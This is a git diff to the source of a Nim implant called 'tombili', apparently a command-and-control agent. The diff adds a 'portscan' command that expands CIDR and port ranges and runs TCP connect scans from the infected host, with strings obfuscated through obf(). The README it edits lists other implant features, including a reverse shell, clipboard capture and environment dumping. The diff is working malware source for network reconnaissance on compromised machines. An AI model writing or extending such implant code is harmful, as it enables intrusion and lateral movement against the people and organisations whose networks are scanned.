diff --git a/implants/tombili/README.md b/implants/tombili/README.md
index fec705b..9190300 100644
--- a/implants/tombili/README.md
+++ b/implants/tombili/README.md
@@ -25,6 +25,7 @@ nim c -d:release -d:ssl -o:tombili.exe src/main.nim
 |`getenv`|Windows, Linux|Get all environment variables||
 |`pid`|Windows, Linux|Get the ID of the current process||
 |`reverseshell`|Windows, Linux|Start a reverse shell|ip: str, port: int|
+|`portscan`|Windows, Linux|Scan a range of ports on a range of IPs|ip_range: str, port_range: str|
 |`msgbox`|Windows|Display a message box|title: str, body: str|
 |`getclipboard`|Windows|Get the contents of the clipboard||
 |`kill`|Windows, Linux|Kill the agent||
diff --git a/implants/tombili/src/commands.nim b/implants/tombili/src/commands.nim
index b9435d1..6981220 100644
--- a/implants/tombili/src/commands.nim
+++ b/implants/tombili/src/commands.nim
@@ -143,6 +143,19 @@ when defined(linux):
         )
     )
 
+    # portscan
+    commands.add(
+        Command(
+            command: obf("portscan"),
+            description: obf("Scan a range of ports on a range of IPs"),
+            args: @[
+                CommandArgument(name: obf("ip_range"), arg_type: obf("str"), description: obf("The IP range to scan"), required: true),
+                CommandArgument(name: obf("port_range"), arg_type: obf("str"), description: obf("The port range to scan"), required: true)
+            ],
+            function: shared.portScan
+        )
+    )
+
     # pid
     commands.add(
         Command(
diff --git a/implants/tombili/src/portScanning.nim b/implants/tombili/src/portScanning.nim
new file mode 100644
index 0000000..95a2e8b
--- /dev/null
+++ b/implants/tombili/src/portScanning.nim
@@ -0,0 +1,81 @@
+import net
+import strutils
+
+import utils
+
+type
+    PortScanResult* = object
+        ip*: string
+        port*: int
+        status*:string
+
+proc expandIpRange*(ipOrCidr: string): seq[string] =
+    ## Expand IP address or CIDR notation into list of IPs
+    result = @[]
+
+    if "/" in ipOrCidr:
+        # CIDR notation - expand subnet
+        let parts = ipOrCidr.split("/")
+        if parts.len != 2:
+            return @[ipOrCidr]  # Invalid, return as-is
+
+        var baseIp = parts[0]
+        var prefixLen = try: parseInt(parts[1]) except: 32
+
+        # For simplicity, only support /24 and larger subnets
+        if prefixLen >= 24:
+            let ipParts = baseIp.split(".")
+            if ipParts.len != 4:
+                return @[ipOrCidr]
+            
+            var base = ipParts[0] & "." & ipParts[1] & "." & ipParts[2] & "."
+            var hostBits = 32 - prefixLen
+            var numHosts = 1 shl hostBits
+            
+            for i in 1..<numHosts-1:  # Skip network and broadcast
+                result.add(base & $i)
+        else:
+            # For /16 or larger, just return the base IP to avoid huge scans
+            result.add(baseIp)
+    else:
+        result.add(ipOrCidr)
+
+proc expandPortRange*(portStr: string): seq[int] =
+    ## Expand port range string into list of ports
+    ## Supports: "80", "80,443", "80-85", "80,443,1000-1005"
+    result = @[]
+  
+    var parts = portStr.split(",")
+    for part in parts:
+        let trimmed = part.strip()
+        if "-" in trimmed:
+            let rangeParts = trimmed.split("-")
+            if rangeParts.len == 2:
+                let start = try: parseInt(rangeParts[0].strip()) except: 0
+                let stop = try: parseInt(rangeParts[1].strip()) except: 0
+                if start > 0 and stop > 0 and start <= stop:
+                    for p in start..stop:
+                        if p > 0 and p <= 65535:
+                            result.add(p)
+        else:
+            let port = try: parseInt(trimmed) except: 0
+            if port > 0 and port <= 65535:
+                result.add(port)
+
+proc scanPorts*(ips: seq[string], ports: seq[int]): seq[PortScanResult] =
+    var results: seq[PortScanResult]
+    var portStatus: string
+
+    for ip in ips:
+        for port in ports:
+            try:
+                var socket: Socket = newSocket()
+                socket.connect(ip, Port(port), timeout=100)
+                socket.close()
+                portStatus = obf("OPEN")
+            except:
+                portStatus = obf("CLOSED")
+
+            results.add(PortScanResult(ip: ip, port: port, status: portStatus))
+
+    return results
diff --git a/implants/tombili/src/shared.nim b/implants/tombili/src/shared.nim
index 004b44e..882b4cb 100644
--- a/implants/tombili/src/shared.nim
+++ b/implants/tombili/src/shared.nim
@@ -6,6 +6,7 @@ import threadpool
 import sleep
 import revShell
 import utils
+import portScanning
 
 const DATE_FORMAT: string = obf("yyyy-MM-dd'T'HH:mm:ss")
 
@@ -135,6 +136,33 @@ proc pid*(task: JsonNode): string =
     except Exception as e:
         return obf("Failed to get the PID: ") & e.msg
 
+proc portScan*(task: JsonNode): string =
+    var args: seq[JsonNode] = task[obf("args")].getElems
+    var ipsRange: string = args[0].getStr
+    var portsRange: string = args[1].getStr
+
+    var ips: seq[string] = expandIpRange(ipsRange)
+    var ports: seq[int] = expandPortRange(portsRange)
+
+    if ips.len == 0:
+        return obf("No IPs selected, scan aborted")
+
+    if ports.len == 0:
+        return obf("No ports selected, scann aborted")
+
+    var results: seq[PortScanResult]
+
+    try:
+        results = scanPorts(ips, ports)
+    except Exception as e:
+        return obf("An error occured while scanning the ports: ") & e.msg
+
+    var resultString: string = obf("Scan results:")
+    for scan in results:
+        resultString = resultString & "\n\t" & scan.ip & ":" & $scan.port & obf(" -> ") & scan.status
+
+    return resultString
+
 proc sleepThenQuit(): void =
     sleep(1000)
     quit(0)